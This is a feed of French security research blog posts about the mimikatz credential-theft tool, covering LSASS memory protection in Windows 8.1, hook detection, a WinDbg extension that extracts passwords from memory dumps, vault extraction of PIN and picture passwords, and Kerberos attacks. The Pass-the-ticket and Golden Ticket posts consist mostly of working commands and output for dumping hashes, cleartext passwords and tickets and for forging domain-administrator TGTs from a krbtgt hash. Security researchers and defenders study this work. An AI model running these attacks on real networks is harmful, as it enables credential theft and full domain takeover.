Quantcast
Channel: Blog de Gentil Kiwi
Viewing all 56 articles
Browse latest View live

Oups, compte Microsoft et Windows 8.1 preview (en clair)

$
0
0

penguin_oups

Une bonne surprise d’un point de vue sécurité

Il semblerait que Microsoft ait (enfin) compris qu’il valait mieux ne pas conserver au même endroit :

  • des données chiffrées
  • les clés de déchiffrement
  • les routines de déchiffrement

Les mécanismes de protection de LSASS sous Windows 8.1 preview n’utilisent plus la CNG en mode utilisateur (process), mais en mode noyau :

  1. lsasrv!LsaProtectMemory
  2. crypt32!CryptProtectMemory
  3. dispatch ksecdd
  4. dispatch cng
  5. cng!CngEncryptMemory

Par ces mécanismes, LSASS peut chiffrer des données en s’assurant que celles-ci ne pourront pas être déchiffrées en dehors de son propre process.
L’API CryptProtectMemory est utilisée avec le flag CRYPTPROTECTMEMORY_SAME_PROCESS.

Cette fois, les clés de chiffrement sont générées avec certaines informations disponibles seulement en mode noyau (cookie, salt, heure de création, …).
Conséquence : les données ne peuvent être utilisées que depuis le même processus.

…ce n’est pas trop tôt, ces API étaient disponibles depuis Windows XP/2003 http://msdn.microsoft.com/magazine/cc163883.aspx#S2

Limites

Ces améliorations ont le mérite de protéger des dumps mémoire ou d’attaques sur LSASS par lecture de données et de clés.
Mais si notre code est exécuté dans le processus LSASS (injection de DLL ou autre), les mêmes clés sont utilisées, et le déchiffrement reste possible.

Surprise !

Il semblerait que Microsoft se donne du mal pour améliorer des routines sensibles et historiques…. mais ne les utilise pas toujours !

Windows 8.1 preview – provider LiveSSP

windows81_livessp
oui, le mot de passe est bien en clair en mémoire…

Windows 8 (« c’était mieux avant ») – provider LiveSSP

windows80_livessp
le mot de passe était bien chiffré précédemment…


mimikatz n’aime pas les Detours

$
0
0

peng_flowers

Un nombre relativement important de produits de sécurité utilise maintenant la librairie Detours de Microsoft.

Cette librairie facilite la mise en place de hooks inline dans ses propres applications, ou dans des processus externes via l’injection d’une librairie.

Software package for re-routing Win32 APIs underneath applications.

http://research.microsoft.com/projects/detours/

Ces hooks, qu’ils soient posés via Detours ou non, s’opèrent majoritairement par le remplacement des 5 premiers octets d’une fonction par un saut inconditionnel vers une autre fonction.
pour des contrôles de sécurité, modifier des paramètres, altérer le comportement, journaliser…

Mais où se trouvent ces hook ?
Une petite commande a été codé rapidement : misc::detours

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 24 2013 20:44:17)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz
  '#####'                                    with   8 modules * * */

mimikatz # misc::detours
AcroRd32.exe (1020)
	kernel32.dll ! CreateProcessA           0000000074E91072 -> 0000000000230070
	kernel32.dll ! CreateProcessW           0000000074E9103D -> 0000000000230030
	KERNELBASE.dll ! CreateEventW           00000000751C119F -> 0000000000240030
	KERNELBASE.dll ! OpenEventW             00000000751C11CF -> 0000000000240070
notepad.exe (4316)
	ntdll.dll ! LdrLoadDll                 	0000000076E57AC0 -> 000000006D5EE1C0	(SbieDll.dll)
	ntdll.dll ! LdrUnloadDll               	0000000076E53B10 -> 000000006D5ECF40	(SbieDll.dll)
	ntdll.dll ! NtAdjustPrivilegesToken    	0000000076E816C0 -> 000000006D5FAD60	(SbieDll.dll)
	ntdll.dll ! NtAlpcConnectPort           0000000076E819F0 -> 000000006D5E2FE0	(SbieDll.dll)
	ntdll.dll ! NtAlpcCreatePort            0000000076E81A00 -> 000000006D5E2E30	(SbieDll.dll)
	[...]
	USER32.dll ! UnregisterClassA           0000000076879E70 -> 000000006D5DA2A0	(SbieDll.dll)
	USER32.dll ! UnregisterClassW           000000007687D464 -> 000000006D5DA210	(SbieDll.dll)
plugin-container.exe (2616)
	USER32.dll ! GetWindowInfo              0000000074771BBF -> 00000000627EC6FD	(xul.dll)
FlashPlayerPlugin_11_8_800_94.exe (5516)
	kernel32.dll ! CreateProcessA           0000000074E91072 -> 00000000000A0070
	kernel32.dll ! CreateProcessW           0000000074E9103D -> 00000000000A0030
	KERNELBASE.dll ! CreateEventW           00000000751C119F -> 00000000000F0030
	KERNELBASE.dll ! OpenEventW             00000000751C11CF -> 00000000000F0070
	GDI32.dll ! AbortDoc                    00000000748F3ADC -> 0000000000120030
	GDI32.dll ! AddFontResourceW            00000000748ED2B2 -> 0000000000120BF0
	[...]
	ole32.dll ! OleGetClipboard             0000000074A8FDCD -> 00000000001500B0
	ole32.dll ! OleIsCurrentClipboard       0000000074A636B2 -> 0000000000150070
	ole32.dll ! OleSetClipboard             0000000074A60045 -> 0000000000150030
	MPR.dll ! WNetAddConnection2W           0000000072A94744 -> 00000000003200B0
	MPR.dll ! WNetGetResourceInformationW   0000000072A9389D -> 0000000000320070
	MPR.dll ! WNetGetUniversalNameW         0000000072A9D34E -> 0000000000320030

Vous pourrez facilement retrouver SandBoxie, EMET, Adobe, Flash, etc.
Peux-être même quelques antivirus ou HIPS…

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz (répertoire alpha)

(ne pas oublier privilege::debug pour inspecter les processus différents des siens)

mimikatz 2.0 et observations

$
0
0

Changements

mimikatz_20

La version 2.0 de mimikatz apporte (heureusement) son lot de nouveautés :

  • Liée à la compilation aux runtimes par défaut (plus léger)
  • Gestion d’une sortie fichier
  • Gestion des minidumps pour l’extraction de données depuis LSASS
  • Meilleure gestion de l’impersonation
  • Amélioration de la communication et de la stabilité du pilote
  • Création d’un Security Support Provider / Password Filter
  • Prise en charge des dernières versions de Windows

mimikatz 2.0 est maintenant la version de référence dans les téléchargements.
La version 1.0 précédente reste disponible dans le répertoire « old » pendant encore quelques semaines.

Visiteurs assidus

* d’après Google Analytics… les données sont donc faussées par les navigateurs bloquant certains scripts / pays n’autorisant pas Google

world statistics

  1. France
  2. United States
  3. China
  4. Russia
  5. Spain
  6. United Kingdom
  7. Germany
  8. Canada
  9. India
  10. Switzerland

Une mention spéciale à Microsoft qui semble se passionner :
microsoft
La langue française sans doute…

Critiques

  1. Beaucoup de sites/blogs font encore référence à la version 1.0, ainsi qu’à l’injection de la DLL pour obtenir des mots de passe (via sekurlsa.dll)…
    Pourtant :
    • la lecture de mot de passe en clair sans injection/librairie externe est disponible depuis l’été 2012
    • la version 2.0 « alpha » est, elle, disponible depuis le premier trimestre 2013
  2. Il va vraiment falloir que je mette à jour toute la documentation…

WinDbg et l’extension de mimikatz

$
0
0

windbg mimikatz
mimikatz prenait déjà en charge l’extraction de hash/mot de passe depuis :

  • l’accès direct au processus LSASS
  • l’exploitation de l’image mémoire (Minidump) de LSASS

…et cela suffit à la majorité des usages.

Nouvelles sources de données

Mais le contenu mémoire de LSASS est aussi « disponible » via d’autres sources

  • états mémoire de machines virtuelles (fichiers .vmem, …)
  • fichiers d’hibernation, de mise en veille prolongée (fichiers hiberfil.sys)
  • les crashdump noyau complets (fichiers .dmp)

En dehors de mimikatz ?

Ces sources de données ne peuvent êtres traitées directement dans mimikatz pour plusieurs raisons :

  • il est complexe (mais possible) de créer un traducteur d’adresse virtuelle en adresse physique pour tous les modes d’adressage (surtout avec les particularités Microsoft)
  • le gestionnaire mémoire de Windows ne peut garantir à un instant T que le contenu de certaines zones mémoire virtuelle est réellement en mémoire physique

Ces deux problématiques empêchaient, lors de certains essais, mimikatz de fonctionner par « pattern matching » sur un contenu de mémoire physique.

Ne voulant pas implémenter dans mimikatz une « table d’offsets » pour toutes les versions de fichiers (lsasrv, wdigest, kerberos, tspkg, livessp, msv1_0, …), ou télécharger à la volée les symboles de déboguage nécessaires, une solution plus élégante devait être imaginée…

Extensions WinDbg

Un outil est particulièrement adapté à la lecture de dump mémoire (au format « crashdump ») et à la manipulation de symboles, il s’agit de WinDbg (http://blog.gentilkiwi.com/programmes/windbg)

Les fichiers de mise en veille prolongée, ou d’états mémoire, peuvent être convertis au format « crashdump » par des outils tel que MoonSols Windows Memory Toolkit ou Volatility

Exemples de conversions avec MoonSols Windows Memory Toolkit

  • Etat mémoire VMware vers « crashdump » :
    bin2dmp 564d1ef7-40ef-bdd6-128c-df37cfdb74a4.vmem vmware.dmp
  • Fichier de mise en veille prolongée vers « crashdump » :
    hibr2dmp hiberfil.sys hiberfil.dmp

Utilisation de l’extension

La librairie mimilib.dll a été étendue afin de devenir une extension WinDbg, qu’il suffit de charger après ouverture du crashdump (1).
Il convient de se placer dans le contexte du processus LSASS (2) et (3) avant de lancer la commande !mimikatz (4).

  1. .load c:\security\mimikatz\win32\mimilib.dll
  2. !process 0 0 lsass.exe
  3. .process /r /p
  4. !mimikatz
16.0: kd> .load c:\security\mimikatz\win32\mimilib.dll

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Nov 24 2013 21:22:38)
 .## ^ ##.  Windows build 7601
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz
  '#####'                                  WinDBG extension ! * * */

===================================
#         * Kernel mode *         #
===================================
# Search for LSASS process
0: kd> !process 0 0 lsass.exe
# Then switch to its context
0: kd> .process /r /p <EPROCESS address>
# And finally :
0: kd> !mimikatz
===================================
#          * User mode *          #
===================================
0:000> !mimikatz
===================================

16.0: kd> !process 0 0 lsass.exe
PROCESS 86697030  SessionId: 0  Cid: 0240    Peb: 7ffdf000  ParentCid: 01cc
    DirBase: 7ed54080  ObjectTable: 992ad078  HandleCount: 501.
    Image: lsass.exe

16.0: kd> .process /r /p 86697030
Implicit process is now 86697030
Loading User Symbols
..........................................................
16.0: kd> !mimikatz

Authentication Id : 0 ; 239956 (00000000:0003a954)
Session           : Interactive from 1
User Name         : Gentil Kiwi
Domain            : vm-w7-ult
	msv : 
	 [00000003] Primary
	 * Username : Gentil Kiwi
	 * Domain   : vm-w7-ult
	 * LM       : d0e9aee149655a6075e4540af1f22d3b
	 * NTLM     : cc36cf7a8514893efccd332446158b1a
	tspkg : 
	 * Username : Gentil Kiwi
	 * Domain   : vm-w7-ult
	 * Password : waza1234/
	wdigest : 
	 * Username : Gentil Kiwi
	 * Domain   : vm-w7-ult
	 * Password : waza1234/
	kerberos : 
	 * Username : Gentil Kiwi
	 * Domain   : vm-w7-ult
	 * Password : waza1234/
	ssp : 

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

Bonus

  • la commande !mimikatz peut directement être utilisée sur un minidump du processus LSASS
  • les dumps mémoires complets via livekd, dumpit, la mise en veille prolongée ou encore la capture du fichier mémoire de VMware contournent très bien les protections Windows du processus LSASS

Limitations

  • seules les images mémoire de NT6 sont prises en charge (je n’ai pas codé pour cibler NT5)
  • bien qu’il soit normalement possible d’utiliser les extensions WinDbg indépendamment de l’architecture ciblée :
    • les images mémoire x64 doivent être déboguées sous WinDbg x64, avec la librairie mimilib.dll x64
    • les images mémoire x86 doivent être déboguées sous WinDbg x86, avec la librairie mimilib.dll x86

Il est donc plus souple d’utiliser Windows 7 x64 avec les deux versions du débogueur (x86 & x64)

mimikatz et les démineurs

$
0
0

demineurs

mimikatz sait, depuis (très) longtemps, afficher le champ de mines du démineur de Windows XP/2003, grâce au module de démonstration winmine

Le démineur de Vista/7 est totalement différent :

  • 5 Mo vs 120 Ko
  • 40 Mo en mémoire
  • C++ avec gestion objet
  • fleurs pour ne plus choquer les gens sensibles

Après m’être penché plus en avant vers les pointeurs de pointeurs de pointeurs…, un nouveau module de démonstration est né pour Vista/7 : minesweeper

Pour le démineur de XP/2003 :

winmine::infos

Pour le démineur de Vista/7 :

minesweeper::infos

winmine_minesweeper

Au passage, j’ai rajouté un petit module de triche pour le démineur de Windows XP/2003…

winmine::cheat

winmine_cheat

La version prenant en compte ces deux démineurs est disponible : http://blog.gentilkiwi.com/mimikatz

Windows 8, code PIN et mot de passe image

$
0
0

Avec l’arrivée de Windows 8 dans un monde de tablettes, certaines équipes de Microsoft ont dû réfléchir à la facilité de saisir des mots de passe tel que Tr0ub4dor&3 ou Tmb1W>r~ sur un clavier tactile limité.

Windows 8 introduit alors 2 nouveaux modes de connexions utilisateur :

  1. Connexion par code PIN
    pin_icon
  2. Connexion par mot de passe image
    picture_icon

    Quelques explications sur le fonctionnement du mot de passe image : http://blogs.msdn.com/b/b8/archive/2011/12/16/signing-in-with-a-picture-password.aspx

Hypothèse

Le fonctionnement interne de Windows, que ce soit la DPAPI, les authentifications réseau ou dans certains cas l’utilisation du compte Live, repose sur des dérivés du mot de passe réel du compte.
Il y a donc fort à parier que dans ce mode de fonctionnement, PIN ou mot de passe image, Windows stocke le mot de passe réel de l’utilisateur pour le réutiliser lors d’une ouverture de session véritable.

Création

Créons un code PIN (4567) :
create_pin
Ainsi qu’un mot de passe image :
create_picture

Investigation

Il n’y a pas à chercher très loin, une bonne partie des informations est disponible avec les outils de base :

C:\Windows\System32>whoami
autorite nt\système

C:\Windows\System32>vaultcmd /listcreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}
Informations d'identification du coffre : {4BF4C442-9B8A-41A0-B380-DD4A704DDB28}

Schéma d'informations d'identification : Picture Password Vault Resource Schema
Ressource : Picture Password Vault Resource
Identité : 010500000000000515000000A346DEFB5D8AA5A6422633BEE9030000
Enregistré par : Picture Password Credential
Caché : Non
Itinérance : Non
Propriété (ID d'élément de schéma, valeur) : (100,0200000039000000350000001700000001000000010000003D00000017000000590000002600000000000000690000000A0000000000000000000000)

Schéma d'informations d'identification : PIN Logon Vault Resource Schema
Ressource : PIN Logon Vault Resource
Identité : 010500000000000515000000A346DEFB5D8AA5A6422633BEE9030000
Enregistré par : PIN Logon Credential
Caché : Non
Itinérance : Non
Propriété (ID d'élément de schéma, valeur) : (100,4567)

Il suffit donc d’utiliser mimikatz pour emprunter l’identité du système puis de lire le contenu de son coffre :

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Jan 11 2014 15:24:10)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  14 modules * * */

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name : 
SID name  : AUTORITE NT\Système

416	32204     	AUTORITE NT\Système	S-1-5-18	(04g,20p)	Primary
 -> Impersonated !
 * Process Token : 2550316   	windows-81\Administrateur	S-1-5-21-4225648291-2795866717-3191023170-500	(14g,23p)	Primary
 * Thread Token  : 2555077   	AUTORITE NT\Système	S-1-5-18	(04g,20p)	Impersonation (Delegation)

mimikatz # vault::list

Vault : {4bf4c442-9b8a-41a0-b380-dd4a704ddb28}
	Name       : Informations didentification Web
	Path       : C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
	Items (2)
	  0.	Picture Password Credential
		Type            : {b4b8a12b-183d-4908-9559-bd8bce72b58a}
		LastWritten     : 11/01/2014 19:57:42
		Flags           : 00000000
		Ressource       : Picture Password Vault Resource
		Identity        : 01 05 00 00 00 00 00 05 15 00 00 00 a3 46 de fb 5d 8a a5 a6 42 26 33 be e9 03 00 00 
		Authenticator   : 
		PackageSid      : 
		Property  0     : 02 00 00 00 39 00 00 00 35 00 00 00 17 00 00 00 01 00 00 00 01 00 00 00 3d 00 00 00 17 00 00 00 59 00 00 00 26 00 00 00 00 00 00 00 69 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 
		*Authenticator* : 54 00 72 00 30 00 75 00 62 00 34 00 64 00 6f 00 72 00 26 00 33 00 00 00 

		*** Picture Password ***
		User            : windows-81\Gentil Kiwi
		Password        : Tr0ub4dor&3
		Picture password (grid is 150*100)
		 [0] circle (x =  57 ; y =  53 ; r =  23) - clockwise
		 [1] line   (x =  61 ; y =  23) -> (x =  89 ; y =  38)
		 [2] point  (x = 105 ; y =  10)

	  1.	PIN Logon Credential
		Type            : {b2e033f5-5fde-450d-a1bd-3791f465720c}
		LastWritten     : 11/01/2014 18:46:40
		Flags           : 00000000
		Ressource       : PIN Logon Vault Resource
		Identity        : 01 05 00 00 00 00 00 05 15 00 00 00 a3 46 de fb 5d 8a a5 a6 42 26 33 be e9 03 00 00 
		Authenticator   : 
		PackageSid      : 
		Property  0     : 4567
		*Authenticator* : 54 00 72 00 30 00 75 00 62 00 34 00 64 00 6f 00 72 00 26 00 33 00 00 00 

		*** Pin Logon ***
		User            : windows-81\Gentil Kiwi
		Password        : Tr0ub4dor&3
		PIN Code        : 4567

Vérification

Nous retrouvons bien le mot de passe « en clair », ainsi que le code PIN, et les indications de gestes avec le référentiel suivant :
password_reveal

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

Pass the ticket

$
0
0

ms_kerberos
Le gardien des Enfers (Κέρϐερος) de Microsoft

mimikatz permettait la récupération de deux type de données d’authentification :

  • les hashs, réutilisables dans Windows via « Pass the hash »
  • les mots de passe, directement réutilisables dans Windows

Puis, un document très intéressant de Microsoft est apparu : http://www.microsoft.com/download/details.aspx?id=36036. Il nous apprend entre autres :

  • que les attaques par « Pass the hash » ont encore de très beaux jours devant elles ;
  • qu’il est normal de retrouver des mots de passe dans le processus LSASS ;
  • qu’à partir d’un environnement Windows 7, NTLM peut être désactivé sur un parc maitrisé et homogène (sécurité pour maquettes ;)

Mais ce document rappelle aussi que Kerberos reste autant vulnérable à l’extraction de données que les autres fournisseurs de sécurité…

Kerberos sous Windows, les bases

Kerberos repose sur l’utilisation de tickets, chiffrés, ayant des durées d’utilisation et de renouvellement prédéfinies.
Dans un environnement Windows, les secrets partagés restent les hash des comptes (!), la clé du KDC est le hash du compte krbtgt (http://msdn.microsoft.com/library/windows/desktop/aa378170.aspx).

Contrairement aux autres protocoles d’authentification, Kerberos fonctionne uniquement dans le cadre d’un domaine et en utilisant les noms de serveurs.
Voici un très bon schéma de Microsoft résumant l’authentification d’un client, l’obtention d’un TGT (Ticket Granting Ticket), la demande d’un ticket de service, et son utilisation.
Bb742516.kerb01_big
Source : http://technet.microsoft.com/library/bb742516.aspx

Il y a donc deux types de tickets intéressants :

  • les TGT – représentant les utilisateurs – ils permettent d’obtenir des Tickets de services auprès d’un TGS (Ticket Granting Service)
    [00000001] - 12
       Start/End/MaxRenew: 13/01/2014 01:13:30 ; 13/01/2014 11:13:30 ; 20/01/2014 01:13:30
       Server Name       : krbtgt/DOMAIN.LOCAL @ DOMAIN.LOCAL
       Client Name       : user2 @ DOMAIN.LOCAL
       Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;

    TGT identifiant user2 sur le domain DOMAIN.LOCAL, valide pendant 10h00 et renouvelable pendant 1 semaine

    Par défaut, Windows ne permet pas leurs export aux utilisateurs (il remplacera la clé de session par une clé nulle, rendant son utilisation impossible).
    Un paramètre doit être positionné par un administrateur pour qu’un utilisateur puisse récupérer son TGT : http://support.microsoft.com/kb/308339

  • les Tickets de service : ils permettent d’accéder à une ressource (partage, service web, annuaire) sur un serveur précis
    [00000002] - 17
       Start/End/MaxRenew: 13/01/2014 01:15:48 ; 13/01/2014 11:13:30 ; 20/01/2014 01:13:30
       Server Name       : cifs/pc-81.domain.local @ DOMAIN.LOCAL
       Client Name       : user2 @ DOMAIN.LOCAL
       Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ;

    Ticket de service identifiant user2 pour un service de partage (cifs) sur le serveur (pc-81.domain.local), valide pendant 10h00 et renouvelable pendant 1 semaine

    Cette fois ci, un utilisateur lambda peut récupérer ses propres tickets sans droits particuliers…

Manipulons les tickets

Via l’appel au Package d’authentification Kerberos (LsaCallAuthenticationPackage), Microsoft nous offre des structures permettant de manipuler les tickets Kerberos : http://msdn.microsoft.com/library/windows/desktop/aa378099.aspx.

Le message permettant d’injecter un ticket arbitraire de type KRB-CRED dans notre session est : KerbSubmitTicketMessage (celui ci n’est pas disponible sous XP ou 2003).
Il ne nécessite aucun droit particulier pour injecter des ticket dans notre propre session.

La récupération depuis le processus LSASS de tous les tickets, de toutes les sessions, et de toutes les clés nécessite en revanche les droits administrateurs ou SYSTEM (et dans ce cas le privilège Debug devient inutile)

  1. Récupérons tous les tickets sur un Terminal Server, ou une station sensible
    mimikatz # privilege::debug
    Privilege '20' OK
    
    mimikatz # sekurlsa::tickets /export
    
    Authentication Id : 0 ; 2747917 (00000000:0029ee0d)
    Session           : Interactive from 2
    User Name         : userlocaladmin
    Domain            : DOMAIN
    
            Tickets group 0
             [00000000]
               Start/End/MaxRenew: 13/01/2014 01:44:15 ; 13/01/2014 11:44:10 ; 20/01/2014 01:44:10
               Service Name (02) : LDAP ; dc-2012r2-x.domain.local ; domain.local ; @ DOMAIN.LOCAL
               Target Name  (02) : LDAP ; dc-2012r2-x.domain.local ; domain.local ; @ DOMAIN.LOCAL
               Client Name  (01) : userlocaladmin ; @ DOMAIN.LOCAL ( DOMAIN.LOCAL )
               Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
               Session Key  (12) : 6b 96 7b 29 70 03 a5 45 f6 e4 1a 25 5c a1 bf 0d 35 0a d5 db 86 ab 7e 5f be 67 3e f8 2b 05 d6 3d
               Ticket  (03 - 12) : [...]
               * Saved to file [0;29ee0d]-0-0-40a50000-userlocaladmin@LDAP-dc-2012r2-x.domain.local.kirbi !
     [...]
    
    Authentication Id : 0 ; 2628340 (00000000:00281af4)
    Session           : Interactive from 1
    User Name         : user1
    Domain            : DOMAIN
     [...]
    
    Authentication Id : 0 ; 1873488 (00000000:001c9650)
    Session           : Interactive from 3
    User Name         : Administrateur
    Domain            : DOMAIN
     [...]
            Tickets group 2
             [00000000]
               Start/End/MaxRenew: 13/01/2014 00:57:49 ; 13/01/2014 10:57:49 ; 20/01/2014 00:57:49
               Service Name (02) : krbtgt ; DOMAIN.LOCAL ; @ DOMAIN.LOCAL
               Target Name  (02) : krbtgt ; DOMAIN.LOCAL ; @ DOMAIN.LOCAL
               Client Name  (01) : Administrateur ; @ DOMAIN.LOCAL ( DOMAIN.LOCAL )
               Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
               Session Key  (12) : 76 7b db 67 1d 2e a7 8c a3 39 b5 12 a2 c1 27 cd ac 7d d9 04 20 fa a3 a8 2d 70 3e 9c 1e e3 3b d1
               Ticket  (02 - 12) : [...]
               * Saved to file [0;1c9650]-2-0-40e10000-Administrateur@krbtgt-DOMAIN.LOCAL.kirbi !

    Oui, cela fonctionne aussi avec les « minidumps ».
    Un Administrateur du domaine avait une session sur cette machine ;)

  2. Injectons, sur une autre machine ce TGT récupéré
    mimikatz # kerberos::ptt [0;1c9650]-2-0-40e10000-Administrateur@krbtgt-DOMAIN.LOCAL.kirbi
    Ticket '[0;1c9650]-2-0-40e10000-Administrateur@krbtgt-DOMAIN.LOCAL.kirbi' successfully submitted for current session

    Il suffit de demander la parcours d’un partage pour qu’un Ticket de service ad hoc soit demandé en se basant sur le TGT injecté.

h_kerb_tgt

Export de ses tickets de services sans être administrateur

En se limitant à l’utilisateur courant, les tickets de services pourront être exportés sans droits particuliers. Ils peuvent dans certains cas être intéressants (prêt d’une session, poste non verrouillé, …)

  1. Récupérons les tickets sur poste/serveur disposant de l’accès désiré (ici partage de fichier sur PC-81 au nom d’user2)
    mimikatz # kerberos::list /export
    
    [00000002] - 17
       Start/End/MaxRenew: 13/01/2014 01:15:48 ; 13/01/2014 11:13:30 ; 20/01/2014 01:13:30
       Server Name       : cifs/pc-81.domain.local @ DOMAIN.LOCAL
       Client Name       : user2 @ DOMAIN.LOCAL
       Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ;
       * Saved to file     : 2-40a10000-user2@cifs~pc-81.domain.local-DOMAIN.LOCAL.kirbi
  2. Injectons, sur une autre machine le ticket de service ainsi récupéré
    mimikatz # kerberos::ptt 2-40a10000-user2@cifs~pc-81.domain.local-DOMAIN.LOCAL.kirbi
    Ticket '2-40a10000-user2@cifs~pc-81.domain.local-DOMAIN.LOCAL.kirbi' successfully submitted for current session

h_kerb_service

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

Golden Ticket

$
0
0
golden_ticket

Nous l’avons vu précédemment, les tickets Kerberos peuvent être récupérés et réinjectés.
Ces derniers sont très pratiques :

  • ils permettent l’authentification basé sur un mot de passe ou une carte à puce ;
  • le SSO associé reste transparent ;
  • le changement de mot de passe n’influe pas sur les tickets déjà émis ;
  • etc.

La cible de choix concernant les tickets Kerberos reste le TGT. Ce ticket ne permet pas d’accéder directement à un service en particulier, mais « représente » l’identité de l’utilisateur courant lors des demandes de tickets de service au KDC (permettant ensuite d’accéder directement à une multitude de services ;))

Le TGT est généré par le KDC après que le client ait « prouvé » qu’il possédait un secret de l’utilisateur (le hash NTLM découlant du mot de passe utilisateur ou la clé privée d’un certificat émis par une autorité autorisé du domaine).
Par défaut ce TGT est valide 10 heures, et peut être renouvelé tacitement pendant 7 jours.

Le client a connaissance des métadonnées du ticket Kerberos pour son suivi (quand le renouveler, pour quel domaine ce dernier peut être utilisé, avec quelle clé de session chiffrer les échanges…), mais le TGT en lui même est chiffré par le KDC via le hash du compte krbtgt. Le client ne peut pas le déchiffrer , il s’en sert « tel quel ».

Création d’un ticket d’or

A partir d’informations spécifiques, il est possible de demander à mimikatz de créer un TGT très particulier du compte admin du domaine !
Ces informations sont :

  • Nom du compte administrateur (Administrateur)
  • Nom complet du domaine (domain.local)
  • SID du domaine (S-1-5-21-1723555596-1415287819-2705645101)
  • Hash NTLM du compte krbtgt (6194bd1a5bf3ecd542e8aac9860bddf0)

C’est tout.
Le ticket d’or peut être généré depuis n’importe quelle machine, même hors du domaine…

mimikatz # kerberos::golden /admin:Administrateur /domain:domain.local /sid:S-1-5-21-1723555596-1415287819-2705645101 /krbtgt:6194bd1a5bf3ecd542e8aac9860bddf0 /ticket:domain.local.kirbi

golden_create
Ha oui, quelques rappels/détails :

  • il s’agit du compte Administrateur du domaine ;
  • ce ticket est valide 10 heures ans ;
  • le changement de mot de passe du compte Administrateur n’a aucun impact sur ce ticket ;
  • ce ticket n’est pas émis par le KDC, il n’est pas assujetti aux restrictions des méthodes de chiffrements autorisées ;
  • le hash NTLM du compte krbtgt/la clé du KDC n’est pas renouvelée automatiquement.

Utilisation du ticket d’or

golden_ticket_use

Tout comme un ticket « récupéré », ce ticket d’or peut être injecté sous Windows NT 6 via le message au package Kerberos : KerbSubmitTicketMessage.

mimikatz # kerberos::ptt domain.local.kirbi

golden_ticket_use_10yr

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

willy wonka meme

Explications

Nul besoin d’être Willy Wonka pour comprendre le format des tickets Kerberos, ainsi que les petites spécificités Microsoft pour la partie « autorisation » :

Extrait :

KRB-CRED        ::= [APPLICATION 22] SEQUENCE {
        pvno            [0] INTEGER (5),
        msg-type        [1] INTEGER (22),
        tickets         [2] SEQUENCE OF Ticket,
        enc-part        [3] EncryptedData -- EncKrbCredPart
}

Il « suffit » de créer, chiffrer et encoder correctement les structures qui suivent.

Contenu du TGT

sous sa forme KRB-CRED

Le ticket est encodé en ASN.1 et contient une partie des métadonnées.

APPLICATION (22) : SEQUENCE : 
 (0) : INTEGER : 5
 (1) : INTEGER : 22
 (2) : SEQUENCE : 
  APPLICATION (1) : SEQUENCE : 
   (0) : INTEGER : 5
   (1) : GENERAL STRING : 'DOMAIN.LOCAL'
   (2) : SEQUENCE : 
    (0) : INTEGER : 2
    (1) : SEQUENCE : 
     GENERAL STRING : 'krbtgt'
     GENERAL STRING : 'DOMAIN.LOCAL'
    (3) : SEQUENCE : 
     (0) : INTEGER : 23
     (1) : INTEGER : 2
     (2) : OCTET STRING : 
      68A972A80FE035DE6D165F63F6071D
      [...]
      59BD9F3FA2C146053271
   (3) : SEQUENCE : 
    (0) : INTEGER : 0
    (2) : OCTET STRING : 
     APPLICATION (29) : SEQUENCE : 
      (0) : SEQUENCE : SEQUENCE : 
       (0) : SEQUENCE : 
        (0) : INTEGER : 23
        (1) : OCTET STRING : 
         582AE1D0472CE6F2C0E4CADB3BCE91C1
       (1) : GENERAL STRING : 'DOMAIN.LOCAL'
       (2) : SEQUENCE : 
        (0) : INTEGER : 1
        (1) : SEQUENCE : 
         GENERAL STRING : 'Administrateur'
        (3) : BIT STRING UnusedBits:0 : 40E10000
         (5) : GENERALIZED TIME : '20140118160650Z'
         (6) : GENERALIZED TIME : '20140119020650Z'
         (7) : GENERALIZED TIME : '20140125160650Z'
         (8) : GENERAL STRING : 'DOMAIN.LOCAL'
         (9) : SEQUENCE : 
          (0) : INTEGER : 2
          (1) : SEQUENCE : 
           GENERAL STRING : 'krbtgt'
           GENERAL STRING : 'DOMAIN.LOCAL'

Les lignes 17 à 19 sont un extrait du TGT chiffrés.

TGT déchiffré

A l’aide du hash NTLM du compte krbtgt, le TGT peut être déchiffré.
C’est d’ailleurs ce que fait le KDC quand le TGT lui est renvoyé lors d’une demande de ticket de service. Il ne prend évidemment pas pour argent comptant les métadonnées renvoyés par le client.

APPLICATION (3) : SEQUENCE : 
 (0) : BIT STRING UnusedBits:0 : 40E10000
 (1) : SEQUENCE : 
  (0) : INTEGER : 23
  (1) : OCTET STRING : 
   582AE1D0472CE6F2C0E4CADB3BCE91C1
  (2) : GENERAL STRING : 'DOMAIN.LOCAL'
  (3) : SEQUENCE : 
   (0) : INTEGER : 1
   (1) : SEQUENCE : 
    GENERAL STRING : 'Administrateur'
  (4) : SEQUENCE : 
   (0) : INTEGER : 0
